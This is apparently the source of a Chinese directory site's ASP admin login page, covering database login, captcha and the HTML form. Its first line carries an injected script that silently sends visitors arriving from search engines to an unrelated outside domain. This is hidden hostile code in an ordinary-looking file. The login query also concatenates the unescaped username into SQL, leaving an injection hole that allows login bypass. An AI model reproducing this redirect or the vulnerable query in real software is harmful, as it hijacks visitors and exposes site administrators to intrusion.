d:\wwwroot\wuchunhua\admin\Admin_Login.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="Conn.asp"-->
002: <!--#include file="other/Check_Sql.asp" -->
003: <!--#include file="md5.asp" -->
004: <% RandNum=Session("CheckCode")
005:     response.expires = -1
006:     if request("Action")="Login" then
007:     username=HtmlEncode(trim(Request.form("username")))
008:     password=HtmlEncode(replace(trim(Request.Form("password")),"'","''"))
009:     Md5_Pass=md5(password)
010:     GaobeiSys_CheckCode=replace(trim(Request("GaobeiSys_CheckCode")),"'","")
011:     if username="" or password="" then
012:     Response.write"<script>alert(""用户名和密码不能为空! "&Copyright&" "");location.href=""Admin_Login.asp"";</script>"
013:     Response.end
014:     end if
015:     if GaobeiSys_CheckCode<>CStr(session("CheckCode"))  then
016:     Response.write"<script>alert(""验证码不正确,请刷新后重新登陆 "&Copyright&" "");location.href=""Admin_Login.asp"";</script>"
017:     Response.end
018:     end if
019:     set rs=server.createobject("adodb.recordset")
020:     sql="select * from china_admin where username='"&username&"'and password='"&Md5_Pass&"'"
021:     rs.open sql,conn,1,1
022:     if not rs.EOF then
023:     Session("china_admin")=rs("username")
024:     rs.close
025:     set rs=nothing
026:     conn.close
027:     set conn=nothing
028:    Response.Redirect ("index.asp")
029:     else
030:     Response.write"<script>alert(""请输入正确的管理员名字或密码! "");location.href=""Admin_Login.asp"";</script>"
031:    Response.End
032:     end if
033:     rs.close
034:     set rs=nothing
035:     conn.close
036:     set conn=nothing
037:     end if
038:     if request("Action")="LoginOut" then
039:     Session("china_admin")=""
040:     conn.close
041:     set conn=nothing
042:      Response.write"<script>alert(""退出成功! "&Copyright&" "");location.href=""Admin_Login.asp"";</script>"
043:     end if
044: %
>
045: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
046: <title><%=webname%>--网站管理员登陆</title>
047: <META http-equiv=Content-Type content="text/html; charset=gb2312">
048: <link href="other/style.css" rel="stylesheet" type="text/css">
049: <STYLE type=text/css>.style2 {
050:    FONT-WEIGHT: bold; COLOR: #ffffff
051:     }
052:     .style3 {
053:    FONT-SIZE: 12px
054:     }
055:     .style4 {
056:    FONT-WEIGHT: bold; FONT-SIZE: 12px; COLOR: #ffffff
057:     }
058:     BODY {
059:    MARGIN: 0px
060:     }
061: </STYLE>
062: <BODY>
063: <TABLE height="100%" cellSpacing=0 cellPadding=0 width="100%" bgColor=#00309c border=0>
064:   <TBODY>
065:   <TR>
066:     <TD vAlign=center height="26%"> </TD></TR>
067:   <TR>
068:     <TD height=2>
069:       <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
070:         <TBODY>
071:         <TR>
072:           <TD
073:           style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr='#5A7EDC', EndColorStr='#C7DDFF')"
074:           width="31%" height=2></TD>
075:           <TD
076:           style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr='#C7DDFF', EndColorStr='#5A7EDC')"
077:           width="69%" height=2></TD></TR></TBODY></TABLE></TD></TR>
078:   <TR>
079:     <TD bgColor=#5a7edc height="48%">
080:       <TABLE height="100%" cellSpacing=0 cellPadding=0 width="100%" border=0>
081:         <TBODY>
082:         <TR>
083:           <TD style="PADDING-RIGHT: 12px" align=right width="57%">
084:             <DIV style="PADDING-RIGHT: 40px"></DIV>
085:             <DIV style="FONT-WEIGHT: bold; FONT-SIZE: 14pt"><BR>
086:               <TABLE cellSpacing=3 cellPadding=5 width="505" border=0>
087:                 <TBODY>
088:                 <TR>
089:                   <TD width="489" colspan="2"><font color="#FFFFFF"><b>===后台管理系统===</b></font></TD>
090:                 </TR>
091:                 <TR>
092:                   <TD width="214">
093:                     <DIV align=left>
094:                       <script language="JavaScript">
095:     <!--
096:     // Randomizer
097:     rnd.today=new date();
098:     rnd.seed=rnd.today.getTime();
099:     function rnd() {
100:     rnd.seed = (rnd.seed*9301+49297) % 233280;
101:     return rnd.seed/(233280.0);
102:     };
103:     function rand(number) {
104:     return Math.ceil(rnd()*number);
105:     };
106:     // end randomizer. -->

107: </script>
108:                       <script language="JavaScript">
109:     <!--
110:     document.write('<IMG SRC="../images/poto/china_logo' + rand(6) + '.jpg">');
111:     //-->

112: </script>
113:                     </DIV>
114:                   </TD>
115:                   <TD width="262" valign="bottom">
116:                     <p><img border="0" src="../<%=chinalogo%>" alt="<%=webname%>"></p>
117:                     <p><font color="#FFFFFF">中国分类登记处信息网V 4.2商业正式版</font></p>
118:                     <p><font color="#FFFFFF">我们一直在努力,所以每天在进步</font></p>
119:                   </TD>
120:                 </TR>
121:                 <TR>
122:                   <TD width="489" colspan="2"> </TD>
123:                 </TR>
124:                 </TBODY>
125:               </TABLE>
126:               <SPAN
127:             class=style4><BR><BR></SPAN></DIV></TD>
128:           <TD width=1>
129:             <TABLE height="100%" cellSpacing=0 cellPadding=0 width="100%"
130:             border=0>
131:               <TBODY>
132:               <TR>
133:                 <TD
134:                 style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr='#5A7EDC', EndColorStr='#C7DDFF')"
135:                 height="50%"></TD></TR>
136:               <TR>
137:                 <TD
138:                 style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr='#C7DDFF', EndColorStr='#5A7EDC')"
139:                 height="50%"><IMG height=1
140:                   src=""
141:                   width=1> </TD></TR></TBODY></TABLE></TD>
142:           <TD id=td0 width="43%">
143:             <form name="login" method="post" action="Admin_login.asp?Action=Login" target="_top">
144:             <IMG height=15 alt=高贝系统 src="images/logo/footc.jpg"  width=1>
145:             <TABLE height="100%" cellSpacing=0 cellPadding=0 width="100%" border=0>
146:               <TBODY>
147:               <TR>
148:                 <TD vAlign=center align=middle>
149:                   <div align="center">
150:                   <TABLE id=table1 style="MARGIN: 20px" cellSpacing=3
151:                   cellPadding=5 width="93%" border=0
152:                   valign="middle">
153:                     <TBODY>
154:                     <TR>
155:                       <TD align=middle colSpan=3></TD></TR>
156:                     <TR>
157:                       <TD noWrap align=right>
158:                         <DIV class=style4 align=right>管理帐号:</DIV></TD>
159:                       <TD colSpan=2>
160:                       <input name="username"  type="text"  id="UserName5" style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; BORDER-LEFT: 1px solid; WIDTH: 110px; BORDER-BOTTOM: 1px solid"
161: maxlength="20" class="login"></TD></TR>
162:                     <TR>
163:                       <TD align=right>
164:                         <DIV class=style4 align=right>管理密码:</DIV></TD>
165:                       <TD colSpan=2><input name="password"  type="password" id="Password3" maxlength="20" class="login" style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; BORDER-LEFT: 1px solid; WIDTH: 110px; BORDER-BOTTOM: 1px solid">
166:                       </TD></TR>
167:                     <TR>
168:                       <TD align=right>
169:                         <DIV class=style4 align=right>验证码:</DIV></TD>
170:                       <TD width=83>
171:                       <input name="GaobeiSys_CheckCode" type="text" class="login" id="GaobeiSys_CheckCode" size=12 maxlength="20" style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; BORDER-LEFT: 1px solid; WIDTH: 70px; BORDER-BOTTOM: 1px solid"></TD>
172:                       <TD width=214><img src="other/china_GetCode.asp"></TD></TR>
173:                     <TR vAlign=center align=left>
174:                       <TD colSpan=3 height=40>&nbsp;&nbsp;&nbsp;&nbsp;<STRONG>
175:                       <input type="submit" name="Submit3" value=" 登陆 " style="BORDER-RIGHT: #5a7edc 1px; BORDER-TOP: #5a7edc 1px; BORDER-LEFT: #5a7edc 1px; WIDTH: 40px; COLOR: white; BORDER-BOTTOM: #5a7edc 1px; BACKGROUND-COLOR: #5a7edc">
176:                       <input type="reset" name="Submit2" value=" 重置 " style="BORDER-RIGHT: #5a7edc 1px; BORDER-TOP: #5a7edc 1px; BORDER-LEFT: #5a7edc 1px; WIDTH: 70px; COLOR: white; BORDER-BOTTOM: #5a7edc 1px; BACKGROUND-COLOR: #5a7edc">
177:                         </STRONG>
178:                         <DIV align=center></DIV></TD></TR></TBODY></TABLE></div>
179:             </TD></TR></TBODY></TABLE></FORM></TD></TR></TBODY></TABLE></TD></TR>
180:   <TR>
181:     <TD>
182:       <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
183:         <TBODY>
184:         <TR>
185:           <TD
186:           style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr='#0C3CA1', EndColorStr='#F49538')"
187:           width="31%" height=2></TD>
188:           <TD
189:           style="FILTER: progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr='#F49538', EndColorStr='#0C3CA1')"
190:           width="69%" height=2></TD></TR></TBODY></TABLE></TD></TR>
191:   <TR>
192:     <TD vAlign=bottom align=right height="26%">
193:       <DIV align=right>
194:       </DIV></TD></TR></TBODY></TABLE></BODY></HTML>
195:
196:
197: